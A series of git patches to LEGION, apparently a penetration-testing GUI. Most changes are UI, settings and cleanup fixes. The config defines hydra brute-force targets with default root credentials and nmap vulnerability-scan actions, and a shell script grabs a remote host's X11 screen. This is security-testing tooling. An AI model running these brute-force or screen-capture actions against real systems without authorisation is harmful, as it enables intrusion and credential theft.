Fri, 22 Feb 2019 12:03:05 -0600 Subject: [PATCH 125/450] gitignore dynamically fetched scripts --- .gitignore | 7 +++++++ controller/controller.py | 2 +- ui/gui.py | 3 ++- ui/helpDialog.py | 5 ++--- 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index cad3ee0f..9c7ad414 100644 --- a/.gitignore +++ b/.gitignore @@ -108,3 +108,10 @@ tmp/ # init .initialized + +# extension scripts +./scrpts/ms08-067_check.py +./scrpts/ndr.py +./scrpts/rdp-sec-check.pl +./scrpts/smbenum.sh +./scrpts/snmpbrute.py diff --git a/controller/controller.py b/controller/controller.py index 722f72f5..6d9858a8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550857694' + self.build = '1550858562' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/ui/gui.py b/ui/gui.py index 1da776a7..79264c55 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -254,7 +254,8 @@ def setupMainTabs(self): self.BruteTabWidget = QtWidgets.QTabWidget(self.BruteTab) self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) self.horizontalLayout_7.addWidget(self.BruteTabWidget) - self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + # Brute tab disabled for now + # self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) def setupBottomPanel(self): self.BottomTabWidget = QtWidgets.QTabWidget(self.splitter_2) diff --git a/ui/helpDialog.py b/ui/helpDialog.py index 2d56f4b6..77a94d7f 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -24,9 +24,10 @@ def __init__(self,parent = None): super(License,self).__init__(parent) self.setReadOnly(True) self.setWindowTitle('License') - self.setGeometry(0,0,300,300) + self.setGeometry(0, 0, 300, 300) self.center() self.setPlainText(open('LICENSE','r').read()) + def center(self): frameGm = self.frameGeometry() centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() @@ -37,8 +38,6 @@ class ChangeLog(QtWidgets.QPlainTextEdit): def __init__(self, qss, parent = None): super(ChangeLog,self).__init__(parent) self.setMinimumHeight(240) - #self.setStyleSheet('''QWidget { - #color: #b1b1b1; background-color: #323232;}''') self.setStyleSheet(qss) self.setPlainText(open('CHANGELOG.txt','r').read()) self.setReadOnly(True) From 1e6455e0e77183788654360b2ec824b6a595a0a0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 12:14:59 -0600 Subject: [PATCH 126/450] Update conf, fix gitignore typo --- .gitignore | 10 +++++----- controller/controller.py | 2 +- legion.conf | 39 +++++++++++++++++---------------------- 3 files changed, 23 insertions(+), 28 deletions(-) diff --git a/.gitignore b/.gitignore index 9c7ad414..6932854b 100644 --- a/.gitignore +++ b/.gitignore @@ -110,8 +110,8 @@ tmp/ .initialized # extension scripts -./scrpts/ms08-067_check.py -./scrpts/ndr.py -./scrpts/rdp-sec-check.pl -./scrpts/smbenum.sh -./scrpts/snmpbrute.py +scripts/ms08-067_check.py +scripts/ndr.py +scripts/rdp-sec-check.pl +scripts/smbenum.sh +scripts/snmpbrute.py diff --git a/controller/controller.py b/controller/controller.py index 6d9858a8..acd67f45 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550858562' + self.build = '1550859208' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/legion.conf b/legion.conf index 10c71858..cfbb0965 100644 --- a/legion.conf +++ b/legion.conf @@ -1,13 +1,3 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - [GeneralSettings] default-terminal=gnome-terminal enable-scheduler=True @@ -87,23 +77,28 @@ vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp [SchedulerSettings] -enum4linux=n, e -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nbtscan=n, e nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smb-null-sessions=n, e smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp snmpcheck=snmp, udp -sslscan="https,ssl", tcp -whatweb="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp x11screen=X11, tcp +snmp-default=snmp, udp +smtp-enum-vrfy=smtp, tcp +mysql-default=mysql, tcp +mssql-default=ms-sql-s, tcp +ftp-default=ftp, tcp +postgres-default=postgresql, tcp +oracle-default=oracle-tns, tcp + +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ [StagedNmapSettings] stage1-ports="T:80,443" From 303fa314b6e0810cb7cf6985b784ea9891bed65f Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 13:23:55 -0600 Subject: [PATCH 127/450] Conf fix, tools table fixes --- app/logic.py | 4 ++-- app/processmodels.py | 15 ++++----------- app/settings.py | 3 ++- controller/controller.py | 4 ++-- legion.conf | 8 +++++++- ui/view.py | 27 +++++++++++++++++++-------- 6 files changed, 36 insertions(+), 25 deletions(-) diff --git a/app/logic.py b/app/logic.py index 991a52b5..93a04581 100644 --- a/app/logic.py +++ b/app/logic.py @@ -350,8 +350,8 @@ def getHostsAndPortsForServiceFromDB(self, serviceName, filters): # this function returns all the processes from the DB # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) - def getProcessesFromDB(self, filters, showProcesses='', sort = 'desc', ncol = 'id'): - if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools + def getProcessesFromDB(self, filters, showProcesses='noNmap', sort = 'desc', ncol = 'id'): + if showProcesses == 'noNmap': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') result = self.db.metadata.bind.execute(query).fetchall() diff --git a/app/processmodels.py b/app/processmodels.py index 52597731..63ef3637 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -55,8 +55,6 @@ def data(self, index, role): # this metho row = index.row() column = index.column() processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} - #print(str(column)) - #print(str(self.__processes[row])) try: if column == 0: value = '' @@ -73,7 +71,7 @@ def data(self, index, role): # this metho elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' - elif column == 5 or column == 6: + elif column == 6: if not self.__processes[row]['tabtitle'] == '': value = self.__processes[row]['tabtitle'] else: @@ -87,18 +85,13 @@ def data(self, index, role): # this metho value = "" else: try: - #print(self.__processes[row]) - #print(processColumns.get(int(column))) value = self.__processes[row][processColumns.get(int(column))] except: - value = 'missing' + value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) pass except Exception as e: - print(str(column)) - print(str(self.__processes[row])) - print(str(e)) - print("HA!") - value = "ha" + value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) + pass return value def sort(self, Ncol, order): diff --git a/app/settings.py b/app/settings.py index de6656dc..fd5d2249 100644 --- a/app/settings.py +++ b/app/settings.py @@ -441,9 +441,10 @@ def __init__(self, appSettings=None): self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] self.tools_path_texteditor = self.toolSettings['texteditor-path'] - except KeyError: + except KeyError as e: log.info('Something went wrong while loading the configuration file. Falling back to default settings for some settings.') log.info('Go to the settings menu to fix the issues!') + log.error(str(e)) # TODO: send signal to automatically open settings dialog here def __eq__(self, other): # returns false if settings objects are different diff --git a/controller/controller.py b/controller/controller.py index acd67f45..75ca2791 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550859208' + self.build = '1550863411' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] @@ -520,7 +520,7 @@ def getHostsForTool(self, toolname, closed = 'False'): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### - def getProcessesFromDB(self, filters, showProcesses = '', sort = 'desc', ncol = 'id'): + def getProcessesFromDB(self, filters, showProcesses = 'noNmap', sort = 'desc', ncol = 'id'): return self.logic.getProcessesFromDB(filters, showProcesses, sort, ncol) #################### PROCESSES #################### diff --git a/legion.conf b/legion.conf index cfbb0965..d76c9c63 100644 --- a/legion.conf +++ b/legion.conf @@ -8,8 +8,14 @@ screenshooter-timeout=15000 tool-output-black-background=False web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" +[ToolSettings] +nmap-path=/usr/bin/nmap +hydra-path=/usr/bin/hydra +cutycapt-path=/usr/bin/cutycapt +texteditor-path=/usr/bin/leafpad + [HostActions] -nmap%20script%20-%20Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" diff --git a/ui/view.py b/ui/view.py index 4e2a80d2..a9381332 100644 --- a/ui/view.py +++ b/ui/view.py @@ -47,6 +47,8 @@ def __init__(self, ui, ui_mainwindow): self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'id' + self.toolsTableViewSort = 'desc' + self.toolsTableViewSortColumn = 'id' def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller @@ -89,7 +91,9 @@ def start(self, title='*untitled'): self.lazy_update_tools = False self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + self.ToolsTableModel = None self.setupProcessesTableView() + self.setupToolsTableView() self.setMainWindowTitle(title) self.ui.statusbar.showMessage('Starting up..', msecs=1000) @@ -928,16 +932,23 @@ def updateServiceNamesTableView(self): if not row == None: self.ui.ServiceNamesTableView.selectRow(row) self.serviceNamesTableClick() + + def setupToolsTableView(self): + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters), headers) - self.ui.ToolsTableView.setModel(self.ToolsTableModel) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) + self.ui.ToolsTableView.repaint() + self.ui.ToolsTableView.update() self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore - for i in [0,1,2,4,5,6,7,8,9,10,11,12,13,14]: # hide some columns + # Hides columns we don't want to see + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected @@ -1129,17 +1140,17 @@ def displayAddHostsOverlay(self, display=False): def setupProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) def updateProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() # Hides columns we don't want to see - for i in [1, 5, 12, 14, 16]: + for i in [1, 12, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) # Force size of progress animation @@ -1309,7 +1320,7 @@ def removeToolTabs(self, position=-1): def restoreToolTabs(self): ### CHEETOS return - tools = self.controller.getProcessesFromDB(self.filters, False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + tools = self.controller.getProcessesFromDB(self.filters, showProcesses = False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 From ab3c885050070b85c0e4fe5fefd7fe32bc5592b0 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 22 Feb 2019 14:50:33 -0500 Subject: [PATCH 128/450] Fixed AttributeError --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index a9381332..0b709da1 100644 --- a/ui/view.py +++ b/ui/view.py @@ -409,7 +409,7 @@ def callAddHosts(self): if len(nmapOptionValueSplit) > 1: nmapOptionValue = nmapOptionValueSplit[1].replace(']','') nmapOptions.append(nmapOptionValue) - nmapOptions.append(str(self.adddialog.txtCustomOptList.toPlainText())) + nmapOptions.append(str(self.adddialog.txtCustomOptList)) for hostListEntry in hostList: self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button From f7647cac98e61c8080d31d38dfcafc5b824fd049 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 14:04:21 -0600 Subject: [PATCH 129/450] Cleanup --- app/logic.py | 2 -- controller/controller.py | 41 +++++++++++++--------------------------- ui/view.py | 3 +-- 3 files changed, 14 insertions(+), 32 deletions(-) diff --git a/app/logic.py b/app/logic.py index 93a04581..93bb0404 100644 --- a/app/logic.py +++ b/app/logic.py @@ -413,8 +413,6 @@ def addProcessToDB(self, proc): return p.id def addScreenshotToDB(self, ip, port, filename): - ## POOP ## - return 0 p_output = process_output() # add row to process_output table (separate table for performance reasons) p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) session = self.db.session() diff --git a/controller/controller.py b/controller/controller.py index 75ca2791..8237b7c1 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550863411' + self.build = '1550865637' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] @@ -65,9 +65,6 @@ def start(self, title='*untitled'): def initNmapImporter(self): self.nmapImporter = NmapImporter() - # Disabled - This does not work - # self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar - # self.nmapImporter.tick.connect(lambda: print("progress---------------")) self.nmapImporter.done.connect(self.nmapImportFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) @@ -93,10 +90,8 @@ def initTimers(self): # these time self.processTableUiUpdateTimer = QTimer() self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) - #self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother - - #self.importDialogUpdateTimer = QTimer() - #self.importDialogUpdateTimer.timeout.connect(self.view.importProgressWidget.show) + # Update only when queue > 0 + # self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): @@ -403,11 +398,8 @@ def getContextMenuForPort(self, serviceName='*'): menu.addSeparator() menu.addAction("Send to Brute") - menu.addSeparator() - # dummy is there because we don't need the third return value + menu.addSeparator() # dummy is there because we don't need the third return value menu, actions, dummy = self.getContextMenuForServiceName(serviceName, menu) - - ## TACOS menu.addSeparator() menu.addAction("Run custom command") @@ -614,9 +606,10 @@ def handleProcUpdate(*vargs): self.checkProcessQueue() - ## Not needed? poop - #self.updateUITimer.stop() # update the processes table - #self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI + # Not needed? POOP + # self.updateUITimer.stop() # update the processes table + # self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI + # qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) @@ -702,9 +695,6 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): def nmapImportFinished(self): self.updateUI2Timer.stop() self.updateUI2Timer.start(800) - # Disabled - This does not work - #self.importDialogUpdateTimer.stop() - #self.view.importProgressWidget.hide() # hide the progress widget self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) def screenshotFinished(self, ip, port, filename): @@ -716,7 +706,10 @@ def screenshotFinished(self, ip, port, filename): self.updateUITimer.start(900) def processCrashed(self, proc): - #self.processFinished(proc, True) + # Not needed? POOP + self.processFinished(proc) + # + self.logic.storeProcessCrashStatusInDB(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") @@ -725,7 +718,6 @@ def processCrashed(self, proc): # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): def processFinished(self, qProcess): - #print 'processFinished!!' try: if not self.logic.isKilledProcess(str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': @@ -735,14 +727,8 @@ def processFinished(self, qProcess): if qProcess.exitCode() == 0: # if the process finished successfully newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) self.nmapImporter.setFilename(str(newoutputfile)+'.xml') - # Disabled - Does not work - #self.view.importProgressWidget.reset('Importing nmap..') - #self.importDialogUpdateTimer.start(100) self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) self.nmapImporter.start() - # Moved into NmapImporter class - #if self.view.menuVisible == False: - # self.view.importProgressWidget.show() if qProcess.exitCode() != 0: log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) @@ -760,8 +746,7 @@ def processFinished(self, qProcess): self.checkProcessQueue() self.processes.remove(qProcess) self.updateUITimer.stop() - self.updateUITimer.start(500) # update the interface soon - # poop + self.updateUITimer.start(1000) # update the interface soon except Exception as e: log.info("Process Finished Cleanup Exception {e}".format(e=e)) diff --git a/ui/view.py b/ui/view.py index 0b709da1..40edb80f 100644 --- a/ui/view.py +++ b/ui/view.py @@ -887,7 +887,6 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - # TACOS headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) @@ -1066,7 +1065,7 @@ def updateToolHostsTableView(self, toolname): self.ToolHostsTableModel = ProcessesTableModel(self,self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) - for i in [0,1,2,3,4,7,8,9,10,11,12,13]: # hide some columns + for i in [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12, 13, 14, 15]: # hide some columns self.ui.ToolHostsTableView.setColumnHidden(i, True) self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column From 40045e73cf50ee4e79ff7ee1483d498958c6daf7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 14:26:19 -0600 Subject: [PATCH 130/450] Cleanup, Add deps, Fix x11screenshot --- controller/controller.py | 6 +----- deps/installDeps.sh | 2 +- scripts/x11screenshot.sh | 2 +- 3 files changed, 3 insertions(+), 7 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 8237b7c1..223044d1 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550865637' + self.build = '1550867142' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] @@ -706,10 +706,6 @@ def screenshotFinished(self, ip, port, filename): self.updateUITimer.start(900) def processCrashed(self, proc): - # Not needed? POOP - self.processFinished(proc) - # - self.logic.storeProcessCrashStatusInDB(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") diff --git a/deps/installDeps.sh b/deps/installDeps.sh index f9e34528..0c960436 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y +apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog -y diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh index 9119dfdd..7df902ef 100644 --- a/scripts/x11screenshot.sh +++ b/scripts/x11screenshot.sh @@ -30,4 +30,4 @@ xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd echo "convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg" convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" -eog $OUTFOLDER/x11screenshot-$IP.jpg \ No newline at end of file +eog $OUTFOLDER/x11screenshot-$IP.jpg From 8a21e5bfe1a6efddada64408b1081fad3eb82c54 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Fri, 22 Feb 2019 17:07:41 -0500 Subject: [PATCH 131/450] rounding process time elapsed/remaining to 2 decmial values --- app/settings.py | 42 +++++++++++++++++++++++++++++++++++----- controller/controller.py | 6 +++--- ui/view.py | 33 +++++++++++++++++++++++++------ 3 files changed, 67 insertions(+), 14 deletions(-) diff --git a/app/settings.py b/app/settings.py index fd5d2249..6fde1942 100644 --- a/app/settings.py +++ b/app/settings.py @@ -25,6 +25,7 @@ def __init__(self): self.createDefaultBruteSettings() self.createDefaultNmapSettings() self.createDefaultToolSettings() + self.createDefaultGUISettings() self.createDefaultHostActions() self.createDefaultPortActions() self.createDefaultPortTerminalActions() @@ -91,6 +92,13 @@ def createDefaultToolSettings(self): self.actions.endGroup() self.actions.sync() + def createDefaultGUISettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + self.actions.beginGroup('GUISettings') + self.actions.setValue('process-tab-column-widths', ['125', '0', '100', '150', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100']) + self.actions.endGroup() + self.actions.sync() + def createDefaultHostActions(self): self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('HostActions') @@ -240,7 +248,16 @@ def getToolSettings(self): settings.update({str(k):str(self.actions.value(k))}) self.actions.endGroup() return settings - + + def getGUISettings(self): + settings = dict() + self.actions.beginGroup('GUISettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + # this function fetches all the host actions from the settings file def getHostActions(self): hostactions = [] @@ -298,10 +315,14 @@ def getSchedulerSettings_old(self): self.actions.endGroup() return settings - def backupAndSave(self, newSettings): + def backupAndSave(self, newSettings, saveBackup=True): # Backup and save - log.info('Backing up old settings and saving new settings..') - os.rename('./legion.conf', './backup/'+getTimestamp()+'-legion.conf') + if saveBackup: + log.info('Backing up old settings and saving new settings..') + os.rename('./legion.conf', './backup/' + getTimestamp() + '-legion.conf') + else: + log.info('saveBackup: {}'.format(saveBackup)) + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('GeneralSettings') @@ -334,6 +355,10 @@ def backupAndSave(self, newSettings): self.actions.setValue('stage5-ports',newSettings.tools_nmap_stage5_ports) self.actions.endGroup() + self.actions.beginGroup('GUISettings') + self.actions.setValue('process-tab-column-widths', newSettings.gui_process_tab_column_widths) + self.actions.endGroup() + self.actions.beginGroup('HostActions') for a in newSettings.hostActions: self.actions.setValue(a[1], [a[0], a[2]]) @@ -391,6 +416,9 @@ def __init__(self, appSettings=None): self.tools_path_cutycapt = "/usr/bin/cutycapt" self.tools_path_texteditor = "/usr/bin/leafpad" + # GUI settings + self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" + self.hostActions = [] self.portActions = [] self.portTerminalActions = [] @@ -404,6 +432,7 @@ def __init__(self, appSettings=None): self.bruteSettings = appSettings.getBruteSettings() self.stagedNmapSettings = appSettings.getStagedNmapSettings() self.toolSettings = appSettings.getToolSettings() + self.guiSettings = appSettings.getGUISettings() self.hostActions = appSettings.getHostActions() self.portActions = appSettings.getPortActions() self.portTerminalActions = appSettings.getPortTerminalActions() @@ -440,7 +469,10 @@ def __init__(self, appSettings=None): 